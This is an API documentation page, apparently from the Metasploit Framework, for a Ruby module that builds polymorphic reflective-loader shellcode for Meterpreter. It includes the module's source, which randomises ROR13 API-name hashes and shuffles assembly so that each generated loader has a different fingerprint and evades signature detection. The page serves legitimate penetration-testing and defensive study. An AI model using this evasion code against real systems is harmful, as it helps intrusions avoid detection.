Module: Msf::Payload::Windows::ReflectiveLoaderCommon
- Included in:
- ReflectiveLoader, ReflectiveLoaderX64
- Defined in:
- lib/msf/core/payload/windows/reflective_loader_common.rb
Overview
Shared assembly / patching logic for the polymorphic reflective loader. Both the ARCH_X86 and ARCH_X64 loader modules include this module and call #build_reflective_loader with arch-specific data (GraphML path, opcode prefixes, Metasm arch).
Defined Under Namespace
Classes: Error
Instance Method Summary collapse
-
#build_reflective_loader(opts, arch_config) ⇒ String
Build the reflective loader shellcode: shuffle the GraphML template, patch the freshly generated ROR13 IV into the two ‘mov reg, IV` instructions, patch every pre-computed DLL / function name hash to match the new IV, then assemble via Metasm.
-
#datastore_reflective_loader_iv(ds) ⇒ Integer?
Parse the datastore-supplied fixed IV, if any.
- #initialize(info = {}) ⇒ Object
Instance Method Details
#build_reflective_loader(opts, arch_config) ⇒ String
Build the reflective loader shellcode: shuffle the GraphML template, patch the freshly generated ROR13 IV into the two ‘mov reg, IV` instructions, patch every pre-computed DLL / function name hash to match the new IV, then assemble via Metasm.
60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 |
# File 'lib/msf/core/payload/windows/reflective_loader_common.rb', line 60 def build_reflective_loader(opts, arch_config) iv = (opts[:iv] || rand(0x100000000)) & 0xFFFFFFFF asm = Rex::Payloads::Shuffle.from_graphml_file( arch_config[:graphml_path], arch: arch_config[:arch], name: 'reflective_loader', random: Random.new(iv) ) patch_bytes = lambda { |code, oldbytes, newbytes| raise Error, "Failed to patch, opcode: #{oldbytes} not found." unless code.include?(oldbytes) code.sub(oldbytes, newbytes) } to_hashbytes = lambda { |name, nullbyte: false, unicode: false, iv: 0| name = name.unpack('C*').pack('v*') if unicode fun_hash = Rex::Text.ror13_hash(name + (nullbyte ? "\x00" : ''), iv: iv) & 0xFFFFFFFF [fun_hash].pack('V').bytes.map { |b| '0x%02x' % b }.join(', ') } iv_bytes = [iv].pack('V').bytes.map { |b| '0x%02x' % b }.join(', ') arch_config[:iv_patch_prefixes].each do |prefix| asm = patch_bytes.call(asm, "#{prefix} 0x00, 0x00, 0x00, 0x00", "#{prefix} #{iv_bytes}") end dlog("ReflectiveLoader IV: #{iv}") dll_hash_base = arch_config[:dll_hash_base] # The static graphml data uses hashes calculated with an IV of 0, so we patch them here using # the runtime's random value. patches = [ { base: dll_hash_base, name: 'KERNEL32.DLL', unicode: true }, { base: dll_hash_base, name: 'NTDLL.DLL', unicode: true }, { base: 'db 0x3d,', name: 'LoadLibraryA', count: 2 }, { base: 'db 0x3d,', name: 'GetProcAddress' }, { base: 'db 0x3d,', name: 'ZwAllocateVirtualMemory', count: 2 }, { base: 'db 0x3d,', name: 'ZwProtectVirtualMemory' }, { base: 'db 0x3d,', name: 'NtFlushInstructionCache', count: 2 } ] patches.each do |patch| count = patch.fetch(:count) { 1 } old_hash = to_hashbytes.call(patch[:name], unicode: patch[:unicode], iv: 0) new_hash = to_hashbytes.call(patch[:name], unicode: patch[:unicode], iv: iv) count.times do dlog("Applying patch from #{old_hash} to #{new_hash} for #{patch[:name]}") asm = patch_bytes.call(asm, "#{patch[:base]} #{old_hash}", "#{patch[:base]} #{new_hash}") end end code = Metasm::Shellcode.assemble(arch_config[:metasm_arch].new, asm).encode_string hash = Rex::Text.md5_raw(code).unpack('H*').first dlog("Reflective Loader GraphML fingerprint: #{hash}") code end |
#datastore_reflective_loader_iv(ds) ⇒ Integer?
Parse the datastore-supplied fixed IV, if any. Accepts decimal or 0x-prefixed hex. Returns nil when the option is unset or blank so the caller falls back to a random IV.
38 39 40 41 42 43 |
# File 'lib/msf/core/payload/windows/reflective_loader_common.rb', line 38 def datastore_reflective_loader_iv(ds) raw = ds['MeterpreterLoader::ReflectiveLoaderIV'] return nil if raw.nil? || raw.to_s.strip.empty? Integer(raw.to_s.strip, 0) & 0xFFFFFFFF end |
#initialize(info = {}) ⇒ Object
18 19 20 21 22 23 24 25 26 27 28 29 30 |
# File 'lib/msf/core/payload/windows/reflective_loader_common.rb', line 18 def initialize(info = {}) super ( [ Msf::OptString.new( 'MeterpreterLoader::ReflectiveLoaderIV', [false, 'Fixed 32-bit ROR13 IV for the polymorphic reflective loader (decimal or 0x-hex). ' \ 'Also seeds the GraphML shuffle, so a fixed IV yields a deterministic loader. Random when empty.'] ) ], Msf::Payload::Windows::ReflectiveLoaderCommon ) end |